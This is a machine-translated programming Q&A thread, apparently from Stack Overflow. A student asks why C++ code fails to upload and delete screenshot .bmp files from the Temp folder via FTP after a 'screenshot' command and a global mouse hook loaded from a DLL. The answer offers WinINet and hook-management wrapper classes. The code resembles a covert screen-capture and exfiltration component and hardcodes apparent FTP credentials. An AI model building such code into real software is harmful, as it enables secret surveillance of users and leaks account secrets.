删除并上传文件夹中的所有 .bmp 文件并加载 DLL 库

Delete and upload all .bmp files in folder and load DLL Library

我有问题。 我的目标是创建命令 "screenshot",检查 Temp 文件夹中是否有任何 .bmp 文件,然后将所有 .bmp 文件上传到 FTP 服务器并将其删除。然后加载Dll库。但是我的代码没有删除并上传到 FTP 服务器(ftp 登录的凭据是正确的!)让我给你看我的代码。

else if (command == "screenshot")
{
    char *user = "uzivatel";
    char *pass = "nenenetotinedam";
    char *ftpserver = "server.neserver.cz";
    std::string strTempPath;
    char wchPath[MAX_PATH];
    if (GetTempPathA(MAX_PATH, wchPath))
        strTempPath = wchPath;
    HOOKPROC hhDLL;
    for (const auto& p : fs::directory_iterator(strTempPath))
    {
        if (p.path().extension() == ".bmp")
        {
            std::string nameone = p.path().string();
            LPCSTR name = nameone.c_str();
            std::string notFullPath = "/kstest.8u.cz/web/";
            LPCSTR path = notFullPath.c_str();
            std::string newPath = notFullPath + name;
            LPCSTR fullPath = newPath.c_str();
            HINTERNET hInternet;
            HINTERNET hFtpSession;
            hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
            hFtpSession = InternetConnect(hInternet, ftpserver, INTERNET_DEFAULT_FTP_PORT, user, pass, INTERNET_SERVICE_FTP, 0, 0);
            FtpPutFile(hFtpSession, name, fullPath, FTP_TRANSFER_TYPE_BINARY, 0);
            if (FtpPutFile(hFtpSession, name, fullPath, FTP_TRANSFER_TYPE_BINARY, 0) == TRUE)
            {
                std::cout << "File Sent! " << std::endl;
                Sleep(1000);
                InternetCloseHandle(hFtpSession);
                InternetCloseHandle(hInternet);
                remove(name);
            }
            else
            {
                std::cout << "File didn't send " << std::endl;
            }
        }
        HHOOK _hook;
        HINSTANCE hDLL = LoadLibrary("D:\Dll3.dll");
        __declspec(dllexport) LRESULT __cdecl HookCallback(int nCode, WPARAM wParam, LPARAM lParam);
        __declspec(dllexport) void __cdecl TakeScreenShot(const char* filename);
        hhDLL = (HOOKPROC)GetProcAddress((hDLL), "HookCallback");
        _hook = SetWindowsHookEx(WH_MOUSE_LL, hhDLL, hDLL, 0);
    }
}

如果你能帮助我,我会很高兴。 :) 顺便提一句。对不起我的业余英语。我只是来自捷克的学生

不可能说出你哪里有问题,但看起来你同时做的事情太多了。您不检查 return 值,也不释放资源,因此我制作了一个控制台示例,说明如何使用异常处理 HINTERNET 资源和检查错误。

#include "pch.h" // if you use precompiled headers
#include <iostream>
#include <vector>
#include <string>

#include <Windows.h>
#include <wininet.h>

// A simple wide string exception class.
class werror {
    std::wstring text;
public:
    werror(const wchar_t* Text) : text(Text) {}
    werror(const std::wstring& Text) : text(Text) {}
    const wchar_t* what() const { return text.c_str(); }
};

// base class for HINTERNET resources that will free the resource
// when destroyed
class IBase {
    HINTERNET hInternet;
public:
    IBase(HINTERNET h) : hInternet(h) {
        if (!hInternet) // invalid handle, throw an exception
            throw werror(L"Internet error " + std::to_wstring(GetLastError()));
    }
    // no copying or moving
    IBase(const IBase&) = delete;
    IBase(IBase&&) = delete;
    IBase& operator=(const IBase&) = delete;
    IBase& operator=(IBase&&) = delete;
    // free the resource when being destroyed
    virtual ~IBase() { InternetCloseHandle(hInternet); }

    // conversion to HINTERNET for functions that need it    
    operator HINTERNET () const {
        return hInternet;
    }
};

// class for an FTP session
class FtpSession : public IBase {
public:
    FtpSession(HINTERNET h) : IBase(h) {}

    void PutFile(const std::wstring& LocalFile, const std::wstring& NewRemoteFile) {
        auto rv = FtpPutFile(
            *this, LocalFile.c_str(), NewRemoteFile.c_str(), FTP_TRANSFER_TYPE_BINARY, 0
        );
        if (!rv) // FtpPutFile failed, throw an exception
            throw werror(L"PutFile error " + std::to_wstring(GetLastError()));
    }
};

// a class factory to create Ftp (and future) objects
class Internet : public IBase {
public:
    Internet(const std::wstring& Agent, DWORD dwAccessType, const std::wstring& Proxy,
        const std::wstring& ProxyBypass, DWORD dwFlags) :
        IBase(
            InternetOpen(
                Agent.c_str(),
                dwAccessType,
                Proxy.size() ? Proxy.c_str() : nullptr,
                ProxyBypass.size() ? ProxyBypass.c_str() : nullptr,
                dwFlags
            )
        )
    {}

    // factory method for creating an Ftp object
    FtpSession GetFtpSession(const std::wstring& server,
        const std::wstring& user, const std::wstring& pass)
    {
        return FtpSession(
            InternetConnect(
                *this, server.c_str(), INTERNET_DEFAULT_FTP_PORT,
                user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0
            )
        );
    }
};

// Example: This program will transfer all the files you give on the commandline
//          to your FTP server
int wmain(int argc, wchar_t* argv[])
{
    std::vector<std::wstring> args(argv + 1, argv + argc);
    try {
        // "inet" can be used for as long as the program is running to create Ftp
        // (and future internet) objects. It's "expensive" to create this object
        // so keep it until you are sure you don't need it.

        Internet inet(L"user-agent-name", INTERNET_OPEN_TYPE_DIRECT, L"", L"", 0);

        for (const auto& file : args) {
            // we create one Ftp session per file (probably not needed)
            FtpSession ftp = inet.GetFtpSession(L"klokanek.endora.cz", L"oxytram8ucz", L"a1jfGIP69. ");

            std::wcout << L"Transferring " << file << L"\n";
            ftp.PutFile(file, file);
            std::wcout << L"Done with " << file << L"\n";
        }
    }
    catch (const werror& ex) {
        std::wcerr << L"Exception: " << ex.what() << L"\n";
    }
}

管理其他资源的生命周期也是一个问题,因此我在下面做了一个 HHOOK 示例。有了这个 class,你可以在你的主窗体或任何你拥有的将在程序的生命周期内存在然后自动销毁的变量中声明一个 HookMgr 变量(如 HookMgr my_mouse_hook;)。

class HookMgr {
    HHOOK m_hook;
public:
    HookMgr(HHOOK hook = nullptr) : m_hook(hook) {
        if(m_hook==nullptr) throw werror(L"Invalid hook");
    }
    HookMgr(const HookMgr&) = delete;
    HookMgr(HookMgr&& o) : m_hook(o.m_hook) { o.m_hook = nullptr; }
    HookMgr& operator=(const HookMgr&) = delete;
    HookMgr& operator=(HookMgr&& o) {
        if (m_hook) UnhookWindowsHookEx(m_hook);
        m_hook = o.m_hook;
        o.m_hook = nullptr;
        return *this;
    }
    HookMgr& operator=(HHOOK hook) {
        if(hook==nullptr) throw werror(L"Invalid hook");
        if (m_hook) UnhookWindowsHookEx(m_hook);
        m_hook = hook;
        return *this;
    }
    ~HookMgr() {
        if (m_hook) UnhookWindowsHookEx(m_hook);
    }
};

当你想安装钩子时,只需执行

my_mouse_hook = SetWindowsHookEx(WH_MOUSE_LL, hhDLL, hDLL, 0);

然后忘记它。当程序死掉,HookMgr被销毁时,会自动释放已安装的钩子。您可以为 loading/unloading DLL:s.

做类似的事情